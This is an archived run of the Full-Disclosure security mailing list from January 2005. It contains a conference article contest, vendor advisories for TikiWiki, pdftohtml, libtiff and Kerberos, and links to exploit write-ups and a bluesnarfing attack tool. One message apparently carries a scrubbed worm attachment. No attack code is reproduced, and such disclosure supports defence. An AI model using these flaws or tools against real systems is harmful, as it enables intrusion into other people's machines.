theme regular columns provide the reader with advanced techniques pertaining to information security. Because security can not be limited to technical and scientific aspects MISC also covers domains like law or information warfare. The winning article submission receives: - registration for CanSecWest/core05 donated by the conference - 4 nights in the conference hotel (Mariott Renaissance) paid for by the conference (though incidental costs are still your responsibility). - a round-trip to Vancouver (Canada), paid by Diamond Edition (the winner must have a valid passport and visa if needed) - the publication of your article in MISC, paid at the regular MISC rate (to use as spending money on your trip). The committee will select the best article which will be published in MISC Magazine. The 5 following criteria will guide the committee's choice: 1) education: how much does it teach? 2) innovation: how is it new? 3) technical level: what is the technical level of the article? 4) applicability: does it affect a lot of people? 5) style: grammar, orthography, syntax, clarity, ... More than one article may be published in MISC Magazine, but only the best one will win the trip. To have a chance to win, send article submission by email to csw05 at miscmag.com along with the following information before the 29th of January 2005: 1) Author, and geographical location (country of origin/passport) and contact info (e-mail, postal address, phone, fax). We need a real name and real contact details or we won't be able to pay for the trip. 2) Employer and/or affiliations. 3) 3 to 5 keywords describing the topic of the proposal 4) The article, written either in French or English, and using the style sheets available at http://www.miscmag.com/styles/ 5) Optionally, any samples (code or whatever) related to the article. 6) The folowing declaration: I, , hereby certify that the submitted article has been written by me and that I own the intellectual property contained in it. I, , give Diamond Editions the right to publish this article in their magazines. If a submission is incomplete, the article will not be considered for the challenge. Only one submission per person is allowed - if there are multiple submissions, only the last one will be considered. Please submit all proposals by January 29 latest. Results will be communicated to the participants on the 15th February 2005. MISC Magazine : http://www.miscmag.com/ CanSecWest/core05 : http://cansecwest.com/ --------------------- CanSecWest/core05 - MISC Magazine Gagner un s?jour pour assister ? CanSecWest/core05. Comment faire ? Simplement en ?crivant un article original de 3500-4000 mots sur le th?me de la s?curit? informatique : techniques d'exploits, (anti-)virus, (anti-)forensics, manipulation de r?seau, d?tournement de protocoles, pots ? miel et autres IDS/IPS, reverse engineering, t?l?coms, etc... Pour d?couvrir les sujets trait?s dans MISC, vous pouvez visiter http://www.miscmag.com/sommaire.php. Le site de la conf?rence est http://www.cansecswest.com/. Tous les d?tails sur : http://www.miscmag.com/csw05-fd.php La conf?rence CanSecWest/core05 se compose de tutoriaux sur les questions actuelles, les techniques innovatrices et les meilleures pratiques dans le domaine de s?curit? de l'information. De prestigieux orateurs y participent chaque ann?e, permettant ainsi aux auditeurs de se tenir inform?s des derni?res nouveaut?s du secteur. Elle se d?roule du 4 au 6 Mai 2005 ? Vancouver (Canada). Le magazine fran?ais ? 100% s?curit? informatique ? MISC est compos? d'un dossier traitant de mani?re approfondie d'un th?me, et de nombreuses rubriques permettant ? chacun de d?couvrir les techniques avanc?es li?es ? la s?curit? de l'information. MISC traite ?galement des domaines connexes (droit ou guerre de l'information par exemple) car la s?curit? de l'information ne se limite pas ? des probl?mes techniques et scientifiques. Prix pour le vainqueur : - l'entr?e ? CanSecWest - 4 nuits d'h?tel ? l'h?tel de la conf?rence (Mariott Renaissance) - le billet d'avion pour se rendre ? Vancouver, achet? par Diamond Edition (le vainqueur devra disposer, si besoin, d'un passeport valide et d'un visa pour le Canada) - la publication de l'article, r?mun?r? au tarif normal des auteurs de MISC, dans un num?ro ? venir de MISC. Le jury s?lectionnera la meilleure proposition, qui sera ensuite publi?e dans MISC Magazine. La bar?me se d?compose en 5 crit?res, d'importance ?gale : 1) ?ducation : l'article est-il p?dagogique ? 2) innovation : quelle(s) part(s) de nouveaut? ? 3) technicit? : quel est le niveau technique de l'article ? 4) port?e : est-ce que cela concerne beaucoup de personnes ? 5) style : orthographe, grammaire, clart?, ... Tous les bons articles seront susceptibles d'?tre publi?s dans MISC, mais seul le meilleur remportera le voyage ? CanSecWest. Pour participer, il faut envoyer un mail ? csw05 at miscmag.com avec les informations suivantes avant le Samedi 29 Janvier : 1) pr?sentation : nom, pr?nom, ville/pays d'origine, nationalit?, contact (e-mail, adresse postale, t?l?phone, fax) Attention : sans ces informations, votre prix ne pourra vous ?tre remis. 2) employeur et/ou affiliation 3) 3-5 mots cl? pour caract?riser l'article 4) l'article, ?crit en Anglais ou en Fran?ais, et respectant les feuilles de style : http://www.miscmag.com/styles/ 5) ?ventuellement, des exemples (codes ou autres) li?s ? l'article 6) La mention suivante : Je soussign? d?clare sur l'honneur ?tre l'auteur de l'article soumis afin de participer au concours, et que j'en d?tiens donc les droits de propri?t? intellectuelle. En cas de victoire, j'autorise Diamond Edition ? faire usage de mon article dans leurs publications. Tout mail incomplet invalidera la participation. Une seule participation par personne est autoris?e. Date limite de participation : Samedi 29 Janvier 2005, date de r?ception du mail faisant foi. Liens utiles MISC Magazine : http://www.miscmag.com/ CanSecWest/core05 : http://cansecwest.com/ -- http://www.netexit.com/~sid/ PGP KeyID: 157E98EE FingerPrint: FA62226DA9E72FA8AECAA240008B480E157E98EE >> Hi! I'm your friendly neighbourhood signature virus. >> Copy me to your signature file and help me spread! From vorlon at gentoo.org Mon Jan 10 09:05:32 2005 From: vorlon at gentoo.org (Matthias Geerdsen) Date: Mon, 10 Jan 2005 10:05:32 +0100 Subject: [Full-Disclosure] [ GLSA 200501-12 ] TikiWiki: Arbitrary command execution Message-ID: <20050110090532.GA5412@kosh.atw.wh.local> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-12 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: TikiWiki: Arbitrary command execution Date: January 10, 2005 Bugs: #75568 ID: 200501-12 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== A bug in TikiWiki allows certain users to upload and execute malicious PHP scripts. Background ========== TikiWiki is a web-based groupware and content management system (CMS), using PHP, ADOdb and Smarty. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 www-apps/tikiwiki < 1.8.4.1 >= 1.8.4.1 Description =========== TikiWiki lacks a check on uploaded images in the Wiki edit page. Impact ====== A malicious user could run arbitrary commands on the server by uploading and calling a PHP script. Workaround ========== There is no known workaround at this time. Resolution ========== All TikiWiki users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=www-apps/tikiwiki-1.8.4.1" References ========== [ 1 ] TikiWiki Advisory http://tikiwiki.org/tiki-read_article.php?articleId=97 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-12.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/79ddf16a/attachment.bin From koon at gentoo.org Mon Jan 10 09:15:26 2005 From: koon at gentoo.org (Thierry Carrez) Date: Mon, 10 Jan 2005 10:15:26 +0100 Subject: [Full-Disclosure] [ GLSA 200501-13 ] pdftohtml: Vulnerabilities in included Xpdf Message-ID: <41E247AE.80102@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-13 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: pdftohtml: Vulnerabilities in included Xpdf Date: January 10, 2005 Bugs: #75200 ID: 200501-13 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== pdftohtml includes vulnerable Xpdf code to handle PDF files, making it vulnerable to execution of arbitrary code upon converting a malicious PDF file. Background ========== pdftohtml is a utility to convert PDF files to HTML or XML formats. It makes use of Xpdf code to decode PDF files. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-text/pdftohtml < 0.36-r2 >= 0.36-r2 Description =========== Xpdf is vulnerable to integer overflows, as described in GLSA 200412-24. Impact ====== An attacker could entice a user to convert a specially-crafted PDF file, potentially resulting in the execution of arbitrary code with the rights of the user running pdftohtml. Workaround ========== There is no known workaround at this time. Resolution ========== All pdftohtml users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/pdftohtml-0.36-r2" References ========== [ 1 ] GLSA 200412-24 http://www.gentoo.org/security/en/glsa/glsa-200410-20.xml [ 2 ] CAN-2004-1125 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-13.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/3b904c7b/attachment.bin From scrotora at hushmail.com Mon Jan 10 09:48:02 2005 From: scrotora at hushmail.com (Scrotora) Date: Mon, 10 Jan 2005 10:48:02 +0100 Subject: [Full-Disclosure] Re: Hi Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/58871105/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: I_search_for_you.com Type: application/octet-stream Size: 21454 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/58871105/attachment.obj From seclists at kernelpanik.org Mon Jan 10 09:53:16 2005 From: seclists at kernelpanik.org (Kernelpanik Labs - Security Lists) Date: Mon, 10 Jan 2005 09:53:16 +0000 Subject: [Full-Disclosure] Kernelpanik Labs Digest 2005-1 Message-ID: Hi and happy new year. This is a email digest with security fails recently published by Kernelpanik Labs (http://www.kernelpanik.org) Apache suEXEC Bypass -------------------- Small document about how bypass isolating procedures, i.e. suEXEC, in Apache WebServer. English document: http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf Spanish document: http://www.kernelpanik.org/docs/kernelpanik/suexec.es.pdf Author: frame at kernelpanik.org Amphora Gate StandAlone ----------------------- Security fails in this captive portal Spanish document: http://www.kernelpanik.org/docs/kernelpanik/amphora.pdf Author: madj0ker at kernelpanik.org Virtual Hosting Control System v2.2 ----------------------------------- Remote code execution in this control panel Spanish document: http://www.kernelpanik.org/docs/kernelpanik/vhcs22.txt English document: http://www.kernelpanik.org/docs/kernelpanik/vhcs22.en.txt Author: frame at kernelpanik.org GreyMatter 1.3 -------------- Some security fails: race condition and XSS's Spanish document: http://www.kernelpanik.org/docs/kernelpanik/greym13.txt English document: http://www.kernelpanik.org/docs/kernelpanik/greym13.en.txt Author: frame at kernelpanik.org That's is all. PD1: MaDj0kEr won't translate his stuff to shakespeare language 'cause don't think anyone there uses amphora. PD2: If you learn spanish, you'll avoid our scary translations and enjoy more our jokes. PD3: Dunno why people in securityfocus block our email... so from now, we'll send advisories to both lists. -- Kernelpanik Labs - kpk at kernelpanik.org http://www.kernelpanik.org From thomas at suse.de Mon Jan 10 10:36:46 2005 From: thomas at suse.de (Thomas Biege) Date: Mon, 10 Jan 2005 11:36:46 +0100 Subject: [Full-Disclosure] SUSE Security Announcement: libtiff/tiff (SUSE-SA:2005:001) Message-ID: <41E25ABE.mailCFZ1LCF3I@suse.de> -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SUSE Security Announcement Package: libtiff/tiff Announcement-ID: SUSE-SA:2005:001 Date: Monday, Jan 10th 2005 11:30 MET Affected products: 8.1, 8.2, 9.0, 9.1, 9.2 SUSE Linux Desktop 1.0 SUSE Linux Enterprise Server 8, 9 Novell Linux Desktop 9 Vulnerability Type: remote system compromise Severity (1-10): 8 SUSE default package: yes Cross References: CAN-2004-1183 CAN-2004-1308 Content of this advisory: 1) security vulnerability resolved: - integer overflow - buffer overflow problem description 2) solution/workaround 3) special instructions and notes 4) package location and checksums 5) pending vulnerabilities, solutions, workarounds: 6) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion Libtiff supports reading, writing, and manipulating of TIFF image files. iDEFENSE reported an integer overflow in libtiff that can be exploited by specific TIFF images to trigger a heap-based buffer overflow afterwards. This bug can be used by external attackers to execute arbitrary code over the network by placing special image files on web-pages and alike. Additionally a buffer overflow in tiffdump was fixed. 2) solution/workaround There is no workaround known. 3) special instructions and notes It is needed that all processes using libtiff are restarted. If you use GUI applications please close your X/GDM/KDM session(s) and log in again. 4) package location and checksums Download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered for installation from the maintenance web. x86 Platform: ? ? SUSE Linux 9.2: ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/libtiff-3.6.1-47.4.i586.rpm ? ? ? 8d0c9a4295719b7b659d33b311932cce ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/libtiff-devel-3.6.1-47.4.i586.rpm ? ? ? bbdfe23b8390265f62c5e800551eca7d ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/tiff-3.6.1-47.4.i586.rpm ? ? ? 79d0b122103b619b795872ed70a7feaa ? ? patch rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/libtiff-3.6.1-47.4.i586.patch.rpm ? ? ? dd18c32e661a59dfda88e5318ecfb825 ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/libtiff-devel-3.6.1-47.4.i586.patch.rpm ? ? ? a161f078c72920fde4f95f0f229e07fb ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/tiff-3.6.1-47.4.i586.patch.rpm ? ? ? b66e77ac565b375555f9b980145a9442 ? ? source rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/tiff-3.6.1-47.4.src.rpm ? ? ? 953f00dd4f98223d270db6e2c662e370 ? ? SUSE Linux 9.1: ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/libtiff-3.6.1-38.14.i586.rpm ? ? ? bc883989e3deeecbc0dfb47a9daa23ff ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/tiff-3.6.1-38.14.i586.rpm ? ? ? 46a598e4914836b7e4e90094625e1587 ? ? patch rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/libtiff-3.6.1-38.14.i586.patch.rpm ? ? ? ec8d13d5b0bb4bedb2796db800ec8821 ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/tiff-3.6.1-38.14.i586.patch.rpm ? ? ? 8bfef59cd1946f889f9eb3b8f441e61a ? ? source rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/tiff-3.6.1-38.14.src.rpm ? ? ? 59218891e1c096ee376aec6906dbbc1c ? ? SUSE Linux 9.0: ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/libtiff-3.5.7-379.i586.rpm ? ? ? 339b3bbc318cc6298e07a65e82a1e07d ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/tiff-3.5.7-379.i586.rpm ? ? ? 6fe1432237f589dc73e348e1cdbc9068 ? ? patch rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/libtiff-3.5.7-379.i586.patch.rpm ? ? ? 867a5a98a2ac68071be51a2426992bd9 ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/tiff-3.5.7-379.i586.patch.rpm ? ? ? a185bec3b9a4a79590561d2bd7d19243 ? ? source rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/tiff-3.5.7-379.src.rpm ? ? ? a4857a276db37e3a6d4fc6df2bebd230 ? ? SUSE Linux 8.2: ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/libtiff-3.5.7-379.i586.rpm ? ? ? aab8d95cf757c5520830e0bed74e2d5f ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/tiff-3.5.7-379.i586.rpm ? ? ? 5ded8ffdd7633ce5a68a231d637f6247 ? ? patch rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/libtiff-3.5.7-379.i586.patch.rpm ? ? ? 566e39a22033284c1266c52eac7320d3 ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/tiff-3.5.7-379.i586.patch.rpm ? ? ? 40521831ae56bdabde85ee92473697c5 ? ? source rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/tiff-3.5.7-379.src.rpm ? ? ? f407a1cfca26d9618d19848b087983ee ? ? SUSE Linux 8.1: ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/libtiff-3.5.7-379.i586.rpm ? ? ? 36ec66df028b5d24f8373282a32f1440 ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/tiff-3.5.7-379.i586.rpm ? ? ? 7e5b60fd51d14eac8312474f2d43cda0 ? ? patch rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/libtiff-3.5.7-379.i586.patch.rpm ? ? ? 41959759027005e272103b07054c6e26 ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/tiff-3.5.7-379.i586.patch.rpm ? ? ? 0ae11b9367fe84085aacd6ed1b586bff ? ? source rpm(s): ? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/tiff-3.5.7-379.src.rpm ? ? ? b9d1ac1c51f9f935ca78628d8d2adc3e ? ? x86-64 Platform: ? ? SUSE Linux 9.2: ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-32bit-9.2-200501041820.x86_64.rpm ? ? ? d22303573664d8ef0170c1da81a65232 ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-32bit-9.2-200501041820.x86_64.rpm ? ? ? d22303573664d8ef0170c1da81a65232 ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-devel-3.6.1-47.4.x86_64.rpm ? ? ? 27a98a68b4bda3096f6263998c41d29d ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/tiff-3.6.1-47.4.x86_64.rpm ? ? ? d9f2938c822fa2131a3b2a1c4b471376 ? ? patch rpm(s): ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-32bit-9.2-200501041820.x86_64.patch.rpm ? ? ? f52f8c1a562151373ee98c14e22a6107 ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-32bit-9.2-200501041820.x86_64.patch.rpm ? ? ? f52f8c1a562151373ee98c14e22a6107 ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-devel-3.6.1-47.4.x86_64.patch.rpm ? ? ? cb8f1590ecc0b7ef89eeca271ab7a5c7 ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/tiff-3.6.1-47.4.x86_64.patch.rpm ? ? ? e49a2d960381dea99758b7c8d34df07f ? ? source rpm(s): ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/src/tiff-3.6.1-47.4.src.rpm ? ? ? 953f00dd4f98223d270db6e2c662e370 ? ? SUSE Linux 9.1: ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/libtiff-3.6.1-38.14.x86_64.rpm ? ? ? 01f564b510e02b71ed23146358b6488a ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/tiff-3.6.1-38.14.x86_64.rpm ? ? ? b9fbc56e9f2250ec222c87f8a3805252 ? ? patch rpm(s): ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/libtiff-3.6.1-38.14.x86_64.patch.rpm ? ? ? 813bcb747d11c80ddc30c9de98dbd344 ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/tiff-3.6.1-38.14.x86_64.patch.rpm ? ? ? 2a6c5c2923d9709904cdef560c996fb9 ? ? source rpm(s): ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/tiff-3.6.1-38.14.src.rpm ? ? ? 506ec05d53f1bc266263aa76086d8af9 ? ? SUSE Linux 9.0: ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/libtiff-3.5.7-379.x86_64.rpm ? ? ? 29e8cfa5fd6725ea02d66e43a2abeafb ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/tiff-3.5.7-379.x86_64.rpm ? ? ? b5bccb1560f75b5fd9dd827bdc2f6424 ? ? patch rpm(s): ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/libtiff-3.5.7-379.x86_64.patch.rpm ? ? ? e64cdac3e6a86404d17807e12c4f7098 ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/tiff-3.5.7-379.x86_64.patch.rpm ? ? ? 9e5eb1bfc586805c8e1f65002b82234c ? ? source rpm(s): ? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/tiff-3.5.7-379.src.rpm ? ? ? b406b3a976b892afb572be9907ab2df0 ______________________________________________________________________________ 5) pending vulnerabilities in SUSE Distributions and Workarounds: Please read our next summary report for more information. ______________________________________________________________________________ 6) standard appendix: authenticity verification, additional information - Package authenticity verification: SUSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum after you downloaded the file from a SUSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security at suse.de), the checksums show proof of the authenticity of the package. We recommend against subscribing to security lists that cause the e-mail message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig to verify the signature of the package, where is the file name of the rpm package that you have downloaded. Of course, package authenticity verification can only target an uninstalled rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SUSE in rpm packages for SUSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SUSE Linux distributions version 7.1 and thereafter install the key "build at suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SUSE runs two security mailing lists to which any interested party may subscribe: suse-security at suse.com - general/linux/SUSE security discussion. All SUSE security announcements are sent to this list. To subscribe, send an email to . suse-security-announce at suse.com - SUSE's announce-only mailing list. Only SUSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (faq) send mail to: or respectively. ===================================================================== SUSE's security contact is or . The public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SUSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. 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-----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2-rc1-SuSE (GNU/Linux) iQEVAwUBQeJZXney5gA9JdPZAQHuhQf8CiQ6/4mIzbaqmUWjP7TREsy2j7riyM2+ dkyiCE4luNDVcAJahGQUtjwDwzEcJjeBNsuIX7vYiW0ct9ZlVDZupDQtmE83K8p4 ke76sEBKtxHvkl0MQdqsQAdEKMorPWCHdivmWp9om9Ob572uc2EM9mQl/SiJg+c9 Wp6Dl0okfuB/YDZKaeBaZr9rTceso+Fj5+OEzUkq8AuFwF/vcdTYFryX+Qh3X5Zw PA9LGqtsWh5zviIg985wbm1axKyVgI89+VZXC9gibIR4NtdHcVpw25I+6FM4ElhA rRVXTQm2kimxbZv1BBnkupUDtJ5va+3NwMZzG254e+7OYmcvoTyynw== =5xrJ -----END PGP SIGNATURE----- From var at deny-all.com Mon Jan 10 11:02:50 2005 From: var at deny-all.com (Vincent Archer) Date: Mon, 10 Jan 2005 12:02:50 +0100 Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and Vulnerable In-Reply-To: <3dc922c3050108105762eef57f@mail.gmail.com> References: <200501081612.j08GCLrs013728@lists.netsys.com> <3dc922c3050108105762eef57f@mail.gmail.com> Message-ID: <20050110110250.GF6727@DAPCVA.da> On Sat, Jan 08, 2005 at 01:57:58PM -0500, Matt Ostiguy wrote: > On Sat, 8 Jan 2005 10:12:23 -0600, RandallM wrote: > > I don't think it's going to be free. While doing a small amount of research > > on the "spyware community" I found this text string in the > > GianttAntiSpywareUpdater.exe: > > Doesn't the fact that the executable's name contains a company that no > longer exists (Giant) indicate that perhaps this BETA software will > undergo some changes before its full release as a Microsoft product? If you're optimistic, you might think that basically, they began with a globale search-n-replace on all occurence of the old product name, and replaced it with Microsoft's new name :) -- Vincent ARCHER varcher at denyall.com Tel : +33 (0)1 40 07 47 14 Fax : +33 (0)1 40 07 47 27 Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com From nd at perlig.de Mon Jan 10 11:12:09 2005 From: nd at perlig.de (=?iso-8859-1?q?Andr=E9_Malo?=) Date: Mon, 10 Jan 2005 12:12:09 +0100 Subject: [Full-Disclosure] Kernelpanik Labs Digest 2005-1 In-Reply-To: References: Message-ID: <200501101212.10076@news.perlig.de> * Kernelpanik Labs - Security Lists wrote: > Apache suEXEC Bypass > -------------------- > Small document about how bypass isolating > procedures, i.e. suEXEC, in Apache WebServer. > English document: > http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf Spanish > document: http://www.kernelpanik.org/docs/kernelpanik/suexec.es.pdf > Author: frame at kernelpanik.org FUD. This document just shows, that one can read world readable files in the filesystem. Nice try... nd -- Winnetous Erbe: From martin.pitt at canonical.com Mon Jan 10 13:46:58 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Mon, 10 Jan 2005 14:46:58 +0100 Subject: [Full-Disclosure] [USN-58-1] MIT Kerberos server vulnerability Message-ID: <20050110134658.GA10327@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-58-1 January 10, 2005 krb5 vulnerability CAN-2004-1189 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: krb5-admin-server krb5-kdc libkadm55 libkrb53 The problem can be corrected by upgrading the affected package to version 1.3.4-3ubuntu0.1. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Michael Tautschnig discovered a possible buffer overflow in the add_to_history() function in the MIT Kerberos 5 implementation. Performing a password change did not properly track the password policy's history count and the maximum number of keys. This could cause an array overflow and may have allowed authenticated users (not necessarily one with administrative privileges) to execute arbitrary code on the KDC host, compromising an entire Kerberos realm. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/87095b1c/attachment.bin From dante at alighieri.org Mon Jan 10 14:28:26 2005 From: dante at alighieri.org (Davide Del Vecchio) Date: Mon, 10 Jan 2005 15:28:26 +0100 Subject: [Full-Disclosure] bluetooth bluesnarfing tool Message-ID: <20050110142826.18384.qmail@webmail2.aruba.it> Hello, sometimes ago, me and Roberto "boos" Martelloni, developed a Linux pof to bluesnarf (read/write/search/perform arbitrary command..). The tool was attached to an article (just Italian) published on the e-zine BFi. The compressed archive (article+tool) could be downloaded at the url: http://www.alighieri.org/projects/bluetooth.tar.gz d. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Davide Del Vecchio "Dante Alighieri" dante at alighieri.org dante at olografix.org http://www.alighieri.org http://www.ezln.it - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From evilpacket at gmail.com Mon Jan 10 16:36:29 2005 From: evilpacket at gmail.com (Adam Baldwin) Date: Mon, 10 Jan 2005 08:36:29 -0800 Subject: [Full-Disclosure] Encrypted Messenger DoS Vulnerability Message-ID: * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Title: Encrypted Messenger Remote DoS Vulnerability Vendor Homepage: http://www.johnytech.com Discovered by: Adam Baldwin (evilpacket at ngenuity-is.com) www.evilpacket.net\advisories\EP-000-0001.html Discovery Date: 1.6.2005 Criticality: Low Vulnerable Version:Encrypted Messenger 3.0.71 (and possibly earlier versions) Overview: 